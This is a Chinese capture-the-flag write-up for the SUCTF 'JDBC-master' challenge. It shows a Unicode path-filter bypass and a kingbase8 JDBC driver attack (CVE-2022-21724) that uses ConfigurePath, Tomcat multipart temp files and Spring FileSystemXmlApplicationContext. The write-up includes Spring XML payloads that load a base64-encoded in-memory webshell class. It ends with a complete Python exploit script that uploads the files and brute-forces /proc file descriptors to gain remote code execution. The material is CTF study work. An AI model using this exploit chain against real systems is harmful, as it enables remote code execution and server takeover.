
SU_JDBC-master
由实战改编 证明你是jdbc大师的时候到了(PS:请在本地能够稳定获得flag的前提下再尝试线上环境)
访问/api/connection发现是一个数据库连接功能

存在拦截器com.suctf.interceptor.PathInterceptor

检测逻辑:
- 匹配”suctf”这个单词,但允许在字母之间插入任意数量的非单词字符(包括零个)。并且不区分大小写
- 将路径转为小写,然后检查是否包含”suctf”
- 先将路径转为小写,然后替换掉所有不是小写字母和数字的字符(即只保留a-z和0-9),然后检查结果是否包含”suctf”
在com.suctf.config.WebConfig中设置了大小写不敏感

参考:Hacking GitHub’s Auth with Unicode’s Turkish Dotless ‘I’
一道有趣的CTF赛题-unicode引发的WebAssembly与js交互问题
我们可以通过/%C5%BFuctf进行绕过
接下来就走到了testConnection,通过jackson读取配置,driver默认为org.postgresql.Driver
1
| this.objectMapper.readValue(configurationJson, Pg.class)
|

但如果我们主动传入
1
| {"driver": "com.kingbase8.Driver"}
|
则会覆盖掉之前的值,看到给出的drivers版本
- kingbase8-8.6.jar
- postgresql-42.3.6.jar
很明显postgresql不在RCE的版本范围内,剩下kingbase8,能发现它是一个基于postgresql的国产引擎,并且存在CVE-2022-21724

但是在JDBC连接的时候设置了黑名单
1 2 3 4 5 6 7 8 9 10 11 12 13
| private static final List<String> ILLEGAL_PARAMETERS = Arrays.asList(new String[] { "socketFactory", "socketFactoryArg", "sslfactory", "sslhostnameverifier", "sslpasswordcallback", "authenticationPluginClassName", "loggerFile", "loggerLevel" });
private void validateJdbcUrl(String jdbcUrl) throws UnsupportedEncodingException { if (jdbcUrl == null || jdbcUrl.trim().isEmpty()) throw new IllegalArgumentException("jdbcUrl is empty"); if (jdbcUrl.trim().toLowerCase().contains(":/") || jdbcUrl.trim().toLowerCase().contains("/?")) throw new IllegalArgumentException("Cannot contain special characters"); String jdbcUrlLower = jdbcUrl.toLowerCase(); for (String illegal : ILLEGAL_PARAMETERS) { if (jdbcUrlLower.contains(illegal.toLowerCase())) throw new IllegalArgumentException("Illegal parameter: " + illegal); } }
|
com.kingbase8.Driver#connect

先看到parseURL
1 2 3 4 5 6 7 8 9 10 11
| urlServer = urlServer.substring("jdbc:kingbase8:".length()); if (urlServer.startsWith("//")) { ... } else { if (defaults == null || !defaults.containsKey("PORT")) urlProps.setProperty("PORT", "54321"); if (defaults == null || !defaults.containsKey("HOST")) urlProps.setProperty("HOST", "localhost"); if (defaults == null || !defaults.containsKey("DBNAME")) urlProps.setProperty("DBNAME", URLCoder.decode(urlServer)); }
|
如果我们在URL中没有传入//,就会设置为默认值localhost和54321
接着看到initJDBCCONF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public static Properties initJDBCCONF(Properties props) throws Exception { Properties p = loadPropertyFiles(KBProperty.CONFIGUREPATH.get(props), props); return p; }
public static Properties loadPropertyFiles(String name, Properties props) throws IOException { Properties p = new Properties(props); File f = getFile(name); if (!f.exists()) throw new IOException("Configuration file " + f.getAbsolutePath() + " does not exist. Consider adding it to specify db host and login"); try { p.load(new FileInputStream(f)); } catch (IOException ex) { ex.printStackTrace(); } return p; }
|
如果设置了CONFIGUREPATH,则加载配置文件覆盖之前的Properties
1
| CONFIGUREPATH("ConfigurePath", null, "Path of configuration file"),
|
所以我们可以构造URL绕过黑名单限制:
1
| jdbc:kingbase8:?ConfigurePath
|
但是题目不出网,所以我们需要利⽤ Tomcat multipart 临时⽂件,发⼤体积 multipart 请求实现加载
相关文章:
Java利用无外网(下):ClassPathXmlApplicationContext的不出网利用
Postgresql JDBC Attack and Stuff
由于要上传两个文件,⼀个给 ConfigurePath 当配置文件,另⼀个给 FileSystemXmlApplicationContext 实现RCE
我们先使用 java-chain 生成内存马POC

然后在配置文件中指定为tmp临时文件
1 2
| socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext socketFactoryArg=file:/${catalina.home}/**/*.tmp
|
先看下临时上传的文件

在 ClassPathXmlApplicationContext 找到全部符合的资源后,使用了 for 循环,依次解析每个资源。注意此处的 for 循环中没有 try catch。一旦某个资源解析出错,将会抛出异常,而终止解析。
正常的配置文件并不满足xml格式,会导致解析出错,这里适配一下
1 2 3 4 5 6 7 8 9 10 11 12
| <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="poc" class="java.lang.String"> <constructor-arg value=" socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext socketFactoryArg=file:/${catalina.home}/**/*.tmp " /> </bean> </beans>
|
依次上传这两个文件

最后通过jdbc:kingbase8:?ConfigurePath=/proc/8/fd/遍历fd路径

成功RCE
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141
| import socket import time import threading import json
HOST = 'x.x.x.x' PORT = 8080
def send_request(payload: str, filename: str, host: str = HOST, port: int = PORT): """ 在独立线程中创建连接,发送 POST 请求,并无限期保持连接。 """ template = b'''POST / HTTP/1.1 Host: {host_port} Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* Content-Type: multipart/form-data; boundary=xxxxxx Content-Length: 1296800
--xxxxxx Content-Disposition: form-data; name="file"; filename="{filename}"
{payload} '''.replace(b"\n", b"\r\n")
template_str = template.decode() req_str = template_str.format( host_port=f"{host}:{port}", filename=filename, payload=payload ) request = req_str.encode()
sock = socket.socket() sock.connect((HOST, PORT)) sock.sendall(request)
try: while True: time.sleep(1) except KeyboardInterrupt: sock.close() raise
def blast_fd(start_fd=0, end_fd=100): path = "/api/connection/%C5%BFuctf" time.sleep(5) while True: for fd in range(start_fd, end_fd + 1): print("开始爆破fd:"+str(fd)) named_pipe_path = f"/proc/8/fd/{fd}" payload = { "urlType": "jdbcUrl", "driver": "com.kingbase8.Driver", "jdbcUrl": f"jdbc:kingbase8:?ConfigurePath={named_pipe_path}", "username": "postgres", "password": "your_password", } body = json.dumps(payload).encode()
request_line = f"POST {path} HTTP/1.1\r\n" headers = ( f"Host: {HOST}:{PORT}\r\n" "Connection: close\r\n" "Content-Type: application/json\r\n" f"Content-Length: {len(body)}\r\n" "\r\n" ).encode() request = request_line.encode() + headers + body
try: sock = socket.socket() sock.connect((HOST, PORT)) sock.sendall(request) sock.close()
except Exception as e: print(f"[!] fd = {fd} 请求异常: {e}") time.sleep(1)
if __name__ == '__main__': payload1 = '''<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean"> <property name="staticMethod" value="org.springframework.util.Base64Utils.decodeFromString"/> <property name="arguments"> <list> <value>yv66vg......</value> </list> </property> </bean> <bean id="classLoader" class="javax.management.loading.MLet"/> <bean id="clazz" factory-bean="classLoader" factory-method="defineClass"> <constructor-arg ref="decoder"/> <constructor-arg type="int" value="0"/> <constructor-arg type="int" value="9158"/> </bean> <bean factory-bean="clazz" factory-method="newInstance"/> </beans>'''+"\n"*10 payload2 = '''<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="poc" class="java.lang.String"> <constructor-arg value=" socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext socketFactoryArg=file:/${catalina.home}/**/*.tmp " /> </bean> </beans>'''+"\n"*10
t1 = threading.Thread(target=send_request, args=(payload1, 'a.txt')) t2 = threading.Thread(target=send_request, args=(payload2, 'b.txt')) t3 = threading.Thread(target=blast_fd, args=(20,50))
t1.start() t2.start() t3.start()
print("请求线程已启动,连接保持中...") try: t1.join() t2.join() t3.join() except KeyboardInterrupt: print("\n收到中断,程序退出")
|
注意这里本地测试的话ip不能为127.0.0.1
参考:
XCTF-SUCTF2026 JDBC-master&&wms